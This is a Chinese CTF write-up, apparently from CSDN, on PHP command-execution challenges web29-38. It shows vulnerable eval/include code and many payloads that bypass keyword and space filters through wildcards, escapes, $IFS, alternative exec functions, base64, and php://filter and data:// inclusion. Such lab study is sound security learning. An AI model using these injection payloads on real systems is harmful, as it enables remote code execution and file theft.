web-命令执行

本文详细介绍了多个Linux命令执行绕过的方法,包括通配符绕过、空格过滤、函数替换、编码进制绕过等,涉及preg_match、eval、file包含等多个场景,展示了在不同过滤条件下如何构造payload来执行命令。
摘要由CSDN通过智能技术生成

web29-过滤关键字

命令执行,需要严格的过滤

进入题目链接 这是源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

preg_match 函数:用于执行一个正则表达式匹配

题目限制了不能出现flag

两种解法:

  • 1.构造 ?c=system(ls); 页面回显:

在这里插入图片描述

绕过 flag ,通配符绕过

  • linux 中有一些通配符
    * 代表任意字符 0个或多个
    ? 代表任意字符 1 个
    [abcd] 匹配abcd中一个字符
    [a-z] 匹配范围 a-z

  • 还可以这样绕过:
    fla\g.php
    fla''g.php

    构造payload :
    ?c=system('cat *');
    ?c=system('cat fl?g.php');
    ?c=system('cat f[a-z]ag.php');

    执行 payload 后源代码中有显示。
    在这里插入图片描述

  • 2.另一种解法:(文件包含)

    eval: 把字符串作为PHP代码执行

    传入:?c=echo "hello";?><?php system(ls); 看到有flag.php

    利用文件包含

    构造:

?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64编码
在这里插入图片描述

进行base64解码 即可
在这里插入图片描述

web30-增加命令执行函数

命令执行,需要严格的过滤

过滤增加了:flagsystemphp

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}

其他函数替代

system()      # 相当于cmd
passthru()    # passthru — 执行外部程序并且显示原始输出
exec()        # exec — 执行一个外部程序  
shell_exec()  # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

需要注意一下

只有system()函数是有回显的,其他的函数可以通过echo等显示

playload:

?c=echo `nl fl''ag.p''hp`;

在这里插入图片描述

或者 文件包含依然是可以的

?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述
在这里插入图片描述

web31-过滤cat,空格

命令执行,需要严格的过滤

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
   
        eval($c);
    }
    
}else{
   
    highlight_file(__FILE__);
}
  • 过滤空格
%09(url传递)(cat%09flag.php)
${
   IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{
   cat,flag}
  • cat被过滤

1.代替

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file
paste 指令会把每个文件以列对列的方式,一列列地加以合并。

2.使用转义符

ca\t /fl\ag
cat fl''ag

3.内联执行绕过

拼接flag

1;a=fl;b=ag.php;cat$IFS$a$b

4.变量绕过

a=c;b=a;c=t;
$a$b$c 1.txt

5.编码进制绕过

echo 'cat' | base64

Y2F0wqAK
`echo 'Y2F0wqAK' | base64 -d` 1.txt

hello world

开始进入正题

这道题

过滤了

flag
system
php
cat
sort
shell
\.
空格
\'

playload:

?c=echo(`tac%09f*`);

在这里插入图片描述

文件包含依然是可以的

?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

base64解码即可

在这里插入图片描述

web32~36-文件包含绕过

32:多过滤了 反引号,括号,echo

33:多过滤了一个双引号

34:多过滤多了一个

35:多过滤了 <=

36:多过滤了 数字

playload:

/?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

打着很爽 蛤蛤蛤

对的就是 这样 请继续

web37-data协议

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
   
        include($c);
        echo $flag;
    
    }
        
}else{
   
    highlight_file(__FILE__);
}

过滤了flag

又是 include文件包含了

所以之前的playload 得改一下

data://  -----可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

具体看这里

playload:

1./?c=data://text/plain;<?php system(ls);

在这里插入图片描述

2./?c=data://text/plain,<?php system('cat f*');

在这里插入图片描述

web38-data协议

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
   
        include($c);
        echo $flag;
    
    }
        
}else{
   
    highlight_file(__FILE__);
}

多过滤了 phpfile

多了php过滤

<?php system('cat f*.php'); 将这个添加base64编码即可

p

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值